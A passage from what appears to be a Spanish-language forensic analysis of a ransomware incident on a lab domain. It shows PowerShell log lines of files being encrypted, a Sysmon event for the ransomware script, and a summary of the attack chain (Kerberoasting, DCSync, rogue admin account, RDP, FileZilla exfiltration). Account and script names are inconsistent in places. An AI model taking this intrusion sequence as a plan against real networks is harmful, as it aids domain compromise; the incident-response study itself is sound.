ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-6.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-6.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-7.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-7.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-8.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-8.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-9.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-9.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\passwords\management-passwords-1.kdbx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\passwords\management-passwords-1.kdbx is now encrypted”

El fichero del ransomware ha sido descargado del FTP de los atacantes:

Nombre de registro:Microsoft-Windows-Sysmon/Operational

Origen:        Microsoft-Windows-Sysmon

Fecha:         22/03/2024 13:32:26

Id. del evento:11

Categoría de la tarea:File created (rule: FileCreate)

Usuario:       SYSTEM

Equipo:        DC02.megacorp.local

UtcTime: 2024-03-22 12:32:26.081

ProcessGuid: {87ae893e-799b-65fd-c42e-000000000700}

ProcessId: 1176

Image: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable\App\FileZilla64\FileZilla.exe

TargetFilename: C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1

CreationUtcTime: 2024-03-22 12:32:26.081

User: MEGACORP\administrat0r

Se establecen las siguientes conclusiones del análisis forense de esta máquina:

  1. Los atacantes realizaron un ataque de Kerberoasting contra la cuenta de sqladmin desde la dirección IP 192.168.20.42.
  • A continuación, realizaron un ataque de DCSync con el usuario helpdesk, lograndeo una copia del Directorio Activo de la Organización.
  • Posteriormente, crean a través de WMI y con la cuenta de Administrador la cuenta administrad0r, que se añadida al grupo de administradores de dominio.
  • Con este nuevo usuario, acceden por Escritorio Remoto al controlador de dominio.
  • Una vez iniciada sesión, descargan el software FileZilla, y lo emplean por un lado para exfiltrar una base de datos de credenciales de KeePass y por el otro para copiar el ransomware bakalavaransom.ps1 al controlador de dominio.
  • Para finalizar, ejecutan el ransomware, cifrando ficheros de SRV01.

Se pregunta a la Organización por qué equipo tiene la dirección IP 192.168.20.42. indicando que corresponde al equipo WS02.  Se solicita un volcado de memoria RAM y un triaje del equipo, y se procede a su análisis.

Speak Your Mind

*